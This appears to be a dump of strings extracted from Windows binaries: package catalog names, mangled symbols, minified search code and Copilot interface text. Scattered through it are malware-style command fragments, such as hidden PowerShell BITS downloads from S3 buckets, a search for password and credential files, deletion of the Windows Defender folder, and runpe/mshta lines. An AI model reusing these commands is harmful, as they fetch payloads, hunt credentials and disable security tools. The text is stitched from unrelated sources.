Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Windows 2006
Windows 2001.1 SP1
Windows 2001.1
Windows 2001 SP2
Windows 2001 SP1
Windows 2001
Windows 2000
Microsoft Windows NT
Microsoft WindowsME:Millennium Edition
Microsoft Windows
onecoreuap\windows\core\dxkernel\dxgkrnl\port\dpdisplaymux.cxx
Microsoft.Windows.Graphics.DriverDiagnosticsProgressions
Microsoft.Windows.Graphics.DriverDiagnosticsNotifications
Microsoft.Windows.Graphics.Display
Microsoft.Windows.Graphics.DxgDiagnostics
Microsoft.Windows.TlgAggregateInternal
GetWindowsDirectoryW
EnumWindows
GetSystemWindowsDirectoryW
index.windows
@Security@Windows@@@Found
@Security@Internal@Windows@@@Found'
WINDOWS
Microsoft.Windows.Shell.Switcher
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ErrorHandling.Fallback
Microsoft.Windows.Gaming.Posture.UX
WindowsInternal.ComposableShell.Experiences.Switcher.pdb
WindowsAppRuntime.1.6_6000.401.235
1windows
+.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe
=%windir%\system32\drivers\etc\
TCP/IP for WindowsE
\work\windows\troy\b_t\trunk\
\\work\\windows\\troy\\b_t\\trunk\\
Microsoft.Windows.Shell.ContextMenuRemoteProxy
qWindows
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-DXG-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientExtensions-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Wifi-Client-Realtek-Rtwlane01-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Portable-Devices-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
?gfEnableWindowsKey@@3V?$SGKEYBOARDgfEnableWindowsKey@H@@A
ext-ms-win-winlogon-mincreds-l1-1-0.dll
WindowsIdentity
WindowsImpersonationContext
an app through Windows FirewallE
cClassic_{1498BF43-8A3E-4B9C-917B-C419E4501A62}(sFind and fix problems with Windows FirewallL
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.unifiedtile.localstartvolatiletilepropertiesmap
Ot..\windows\system32\cmd.exe&/c
Path=C:\WINDOWS\system32;
&\AppData\Roaming\Microsoft\Windows\Start Menu\Program
!-AppId"=Microsoft.Windows.Cortana_cw5n1h2txyewy!
s\system32\openssh\ssh
WINDOWS11
WINDOWS11
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsLanguageComponentsInstaller
WindowsParentalControls
WindowsSecurity
WindowsSystemToastSecurity
WINDOWS\system32\cmd.ex
Microsoft.Windows.CapturePickerCN="
mWEMC..\windows\system32\cmd.exe/
c:\windows\system32\shell32.dll%systemroot%
IsWindowsIdentityFlowSuppressed
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
GetSystemWindowsDirectoryW
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.UserMgr.UserModel
Is_GetProcessWindowStationSupported
Is_GetTopLevelWindowSupported
IsxxxDestroyWindowSupported
IsxxxSetProcessWindowStationSupported
"%systemroot%\syswow64\windows"+
izdir/s/b*pass*==*cred*==*.config*==*.cfg2>nul|findstr/v/i"\\windows\\"
c:\windows\system32\cmd.exe/cechoset
powershell.exe-executionpolicybypass-noprofile-windowsthiddeiwr-uri
Microsoft.Windows.NDIS
Microsoft-Windows-Cloud-Networking-Triage
Microsoft.Windows.EventAggregation
Microsoft-Windows-TCPIP
Microsoft-Windows-Netio
Microsoft.Windows.Networking.WFP.Callout
oot\System32\drivers\wfplwfs.sys
\SystemRoot\System32\DRIVERS\fvevol.sys
\SystemRoot\System32\drivers\volume.sys
\SystemRoot\System32\drivers\volsnap.sys
\SystemRoot\System32\drivers\rdyboost.sys
\SystemRoot\System32\drivers\nvmedisk.sys
\SystemRoot\System32\Drivers\mup.sys
\SystemRoot\system32\drivers\iorate.sys
\SystemRoot\System32\drivers\hwpolicy.sys
\SystemRoot\System32\drivers\disk.sys
\SystemRoot\System32\drivers\CLASSPNP.SYS
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://jadr223.s3-eu-west-1.amazonaws.com/image2.png''%
%powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://mort2021.s3-eu-west-1.amazonaws.com/image2.png''
}powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://jdjuwuryh.s3-eu-west-1.amazonaws.com/image2.png''
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://jjjkjkeh.s3-eu-west-1.amazonaws.com/image2.png''%
lpowershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://e3g564rtdfg.s3-eu-west-1.amazonaws.com/image2.png''%
Parameters(),e=n.Host.getThirdPartyDataProviderById(t.thirdPartySearch.applicationUserModelId);r(()=>e.fetch(t,u,i,this._cancellationManager,f,o),"fetch "+e.getName())}}fetchWeb(t,i,u,f,e){const s=n.Service.QueryParams;let o=n.Host.getCustomUrlParameters(t);n.Host.shouldRequestEltoken()&&(o[s.RequestElToken]="1");(!n.RuntimeConfiguration.DeviceHistoryEnabled||n.isThirdPartySearchAllowed()||n.config.isDMARegion)&&(o[s.SearchHistorySettingOff]="1");o[s.CursorPosition]=t.cursorPosition.toString();o[s.ConversationId]=n.Host.getConversationId();o[s.ImpressionGuid]=n.InstrumentationHelper.getImpressionGuid(u);let h=n.Host.getCustomHeaders(t);r(()=>i.fetch(t,f,u,this._cancellationManager,e,o,h),"fetch "+i.getName())}fetch(n,t,i,u,f){r(()=>t.fetch(n,u,i,this._cancellationManager,f),"fetch "+t.getName())}onResponseReceived(t,i,r,u,f,e,o,s,h,c){if(e()){if(this._completedDataSources[r]){n.config.forceUseNifQF&&r=="Web"||n.LogWSBError("onResponseReceived",r,new Error(`Data source already completed: ${r}`),undefined,undefined,"WindowsTelemetry");return}n!==undefined&&n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark(r+".Fetch");this._completedDataSources[r]=!c;n.InstrumentationHelper.instrumentResponseReceived(i,r,f,o,s,c);let h=(r,u,o)=>{if(n.InstrumentationHelper.instrumentDataSourceParsed(i,r),n.config.enableNoRLog&&!c&&(u===null||u===void 0?void 0:u.length)!=null&&n.InstrumentationHelper.instrumentNumberOfResponse(i,r,u.length),n.config.logProviderFirstSuggestion&&(u===null||u===void 0?void 0:u.length)>0&&n.InstrumentationHelper.instrumentProviderFirstSuggestion(i,r,u[0].query),n.TweakDiagnostics===null||n.TweakDiagnostics===void 0?void 0:n.TweakDiagnostics.pushDiagnostics("onDataSourceParsed",[r,u]),e()){if(!n.isSupportWebResultsInAllScopeInDMAEnabled()&&n.isThirdPartySearchAllowed()&&t.scope==n.Scope.ThirdPartyWeb){this.onTPSuggestionsParsed(i,r,u);return}this.onSuggestionsParsed(t,i,r,f,u,o,c)}},a=f=>{let o=this._suggestionsParsers[r];o?o.parse(t,i,r,u,e,f,this._cancellationManager):(n.LogWSBError("onResponseReceived",r,new Error("No parser for data source"),undefined,undefined,"WindowsTelemetry"),f(r,[],null))};l(a,h)}}onTPSuggestionsParsed(t,i,u){r(()=>this._rootViewModel.update(!0,u.slice(0,1),!1,t,u.slice(1),[],[i],[{type:n.GroupType.SearchSuggestions}],!0,{}),"rootViewModel.update",0,null,t=>{n&&n.fallbackToPrepopulatedBundle&&n.fallbackToPrepopulatedBundle(t)})}onSuggestionsParsed(t,i,r,u,f,e,o){if(f=f.filter(n=>nt(r,n.type,n.handoffType,t)),this.applyBadges(f),n.InstrumentationHelper.instrumentDataSource(i,r,f,e),n.shouldLogFlightAssignmentsToWindows()){let o=e===null||e===void 0?void 0:e.responseHeader;if(o&&o.hasOwnProperty("X-FlightsTelemetry-Flight")){let t=o["X-FlightsTelemetry-Flight"];n.InstrumentationHelper.instrumentFlightAssignment(i,t)}this._rootViewModel.onSuggestionsParsed(t,i,r,u,f)}else this._rootViewModel.onSuggestionsParsed(t,i,r,u,f,e);this._suggestionsRenderingManager.queueSuggestions(i,r,f,e,o)}logVariantEventSearchHome(){const t=n.AccessTokenManager.getWindowsAccountType();if(this._currentQuery.isSearchHomeZI&&this._currentQuery.scope==n.Scope.All||this._currentQuery.isWorkScopeZI&&_w.bfbWsbTel&&(t===1||t===4)&&n.isMsbEnterprise()&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isGccHighTenant())){let t=n.shouldShowDSBLayout(this._currentQuery);bfbWsbTel.logVariantEvent(t)}}}n.Core=lu;n.encodeQueryParameter=au}(WSB||(WSB={})),function(n){function ci(t){return n.contains(g,t)}function ut(t){return n.contains(nt,t)}function li(t){return n.contains(ei,t)}function ai(t){return n.contains(it,t)}function v(t){return n.contains(rt,t)}function e(t){return n.contains(ti,t)}function u(t){return n.contains(ii,t)}function vi(n){return n==="CopSugg"}function y(t){return n.contains(ri,t)}function yi(t){return n.contains(ui,t)}function pi(t){return n.contains(si,t)}function wi(t){return n.contains(fi,t)}function bi(n,t){return n===t||e(n)&&e(t)||v(n)&&v(t)}function ki(t){return n.contains(ni,t)}function di(t){return n.contains(tt,t)}function gi(t){return n.contains(oi,t)}funct
Windows_Warning|
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
splitWindowsMasterPageImpressiona
!WindowsAppSdk.AppxDeploymentExtensions.Deskto
!Microsoft.Windows.VisionInternal.winmd
!Microsoft.Windows.Vision'
!Microsoft.Windows.AI.Foundation.
 Windows, 
Windows.Data.Input.Text.UnigramList
Windows.Data.Input.Text.LanguageUnigramList
Windows.Data.Input.Text.RoamingDictionary
Windows.Data.Input.Text.SpellerDictionary
D:\os\obj\amd64fre\onecoreuap\vcpkg\bond\objfre\amd64\vcpkg_installed\target-windows\include\boost/exception/detail/exception_ptr.hpp
.?AU?$IVector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$Vector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__I?$Vector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVStorageFile@Storage@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@
UMicrosoft.WindowsAppT
'Windows Media Player Legacy.lnkv
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
c:\users\gost\documents\visual studio 2015\projects\windowsformsapplicq
_MicrosoftWindowsSMBDirect_
windowsphone.com^Microsoft
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copil
contents-search-windows.com^contents-search-windows.com
c:\windows\avgH
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
copy%0c:\windows
start/bc:\windows\
c:\\windows\\apppatch\\emet.dll
USERPROFILE=C:\WINDOWS\system32\config
Windows\S
I:\windows\logs\schedtasksetup.txt
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAVWebAccountProvider@Credentials@Security@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
Microsoft.Windows.Licensing.SppSvc
Microsoft.Windows.TlgAggregateInternal
Z'c:\programfiles(x86)\windowsdefender
c:\windows\system32\cmd.exe/c
c:\windows\system32\mshta.exe
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
dir/b/sc:\windows\x90
^>c:\windows\x90
>>c:\windows\
[qyNsystem.io.file.appendalltext("c:\\windows\\temp\\msk
        name="Microsoft.Windows.Diagnosis.AdvancedTaskManager"
                name="Microsoft.Windows.Common-Controls"
        <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
        </asmv3:windowsSettings>
Pute("runpe(@homedrive&'\windows\microsoft.net\framework\v4.0.30319\regasm.exe',$
system32\cmd-
pc:\windows\system32\cmd.exe/cpowershell-command"$url='http://voucher-01-static.com/rkei/
data\roaming\microsoft\windows\
windows\installer\{
winlogon
C:\WINDOWS
consentkey=cbspackageservicingfailure2appname=windows11
!+GGrmdir/s/q"c:\programfiles(x86)\windowsdefender"
vg="mozill"+"a/5.0(windowsnt6.1;wow64;rv:54.0)
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
WindowsVersion
windows
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
